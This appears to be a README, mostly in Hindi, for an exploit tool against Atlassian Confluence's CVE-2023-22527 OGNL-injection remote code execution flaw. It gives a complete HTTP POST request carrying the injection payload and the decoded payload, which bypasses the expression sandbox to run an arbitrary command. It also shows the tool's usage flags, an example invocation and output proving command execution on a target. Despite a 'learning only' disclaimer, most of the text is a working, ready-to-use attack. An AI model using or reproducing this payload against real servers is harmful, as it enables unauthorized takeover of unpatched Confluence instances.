
# Atlassian Confluence RCE (CVE-2023-22527) के लिए एक्सप्लॉइट जो OGNL इंजेक्शन के माध्यम से कमजोर सर्वरों पर मनमाने कमांड निष्पादित करता है।
Atlassian Confluence - दूरस्थ कोड निष्पादन (CVE-2023-22527)
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Content-Type: application/x-www-form-urlencoded
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&[email protected]@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
vulhub में उल्लिखित बाईपास विधि
Confluence 7.18.0 संस्करण के बाद, आधिकारिक डेवलपर्स ने दुर्भावनापूर्ण OGNL एक्सप्रेशन के निष्पादन को प्रतिबंधित करने के लिए isSafeExpression फ़ंक्शन पेश किया। सुरक्षा शोधकर्ता Alvaro Muñoz ने velocity टेम्पलेट में #request['.KEY_velocity.struts2.context'].internalGet('ognl').findValue(String, Object) का उपयोग करके सैंडबॉक्स-मुक्त OGNL ऑब्जेक्ट प्राप्त करने और मनमाने स्टेटमेंट निष्पादित करने की एक बाईपास विधि साझा की। पूर्ण और डिकोड किया गया Payload निम्नलिखित है:
'+(#request['.KEY_velocity.struts2.context'].internalGet('ognl').findValue(@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"})),{}))+'
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗ ███████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ╚════██╗╚════██╗██╔════╝╚════██╗╚════██║
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗ █████╔╝ █████╔╝███████╗ █████╔╝ ██╔╝
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝██╔═══╝ ██╔═══╝ ╚════██║██╔═══╝ ██╔╝
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ███████╗███████╗███████║███████╗ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚══════╝╚══════╝╚══════╝╚══════╝ ╚═╝
@Auth: C1ph3rX13
@Blog: https://c1ph3rx13.github.io
@Note: Atlassian Confluence - Remote Code Execution (CVE-2023-22527)
@Warn: कोड केवल सीखने के उद्देश्य के लिए है, कृपया अन्य उपयोगों के लिए उपयोग न करें
Usage of CVE-2023-22527.exe:
-c string
Command
-p string
Proxy Url
-t string
Target Url
CVE-2023-22527.exe -t http://127.0.0.1:8090 -c "id"
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗ ███████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ╚════██╗╚════██╗██╔════╝╚════██╗╚════██║
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗ █████╔╝ █████╔╝███████╗ █████╔╝ ██╔╝
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝██╔═══╝ ██╔═══╝ ╚════██║██╔═══╝ ██╔╝
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ███████╗███████╗███████║███████╗ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚══════╝╚══════╝╚══════╝╚══════╝ ╚═╝
@Auth: C1ph3rX13
@Blog: https://c1ph3rx13.github.io
@Note: Atlassian Confluence - Remote Code Execution (CVE-2023-22527)
@Warn: कोड केवल सीखने के उद्देश्य के लिए है, कृपया अन्य उपयोगों के लिए उपयोग न करें
2024-01-23 16:53:16 INFO [+] RCE Result: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence),0(root)